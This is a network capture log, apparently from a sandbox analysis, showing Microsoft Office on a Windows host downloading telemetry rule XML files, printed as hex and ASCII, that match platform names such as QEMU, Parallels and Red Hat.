2024-11-22 03:12:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 2deeee2f-b01e-001e-4967-3b0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031227Z-178bfbc474b7cbwqhC1NYC8z4n000000028000000000fqss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:29 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:29 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031229Z-174c587ffdf4zw2thC1TEBu34000000000tg00000000sa2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 6b17e566-f01e-003f-7a44-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031229Z-178bfbc474bv7whqhC1NYC1fg400000002cg00000000asbm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031229Z-178bfbc474bv587zhC1NYCny5w000000025000000000q09f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:29 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031229Z-174c587ffdf9xbcchC1TEBxkz400000000u0000000000k1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:29 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031229Z-178bfbc474bwlrhlhC1NYCy3kg00000002a000000000kw4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031231Z-178bfbc474b7cbwqhC1NYC8z4n00000002d0000000000bas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031231Z-178bfbc474bnwsh4hC1NYC2ubs00000002gg000000005052 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031231Z-178bfbc474bmqmgjhC1NYCy16c00000002g0000000006pze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:31 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031231Z-174c587ffdftv9hphC1TEBm29w00000000t000000000af7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:32 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031231Z-174c587ffdf4zw2thC1TEBu34000000000u000000000px3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:33 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:34 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4e89b2fa-a01e-006f-563a-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031233Z-178bfbc474bscnbchC1NYCe7eg00000002kg000000006ws3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> 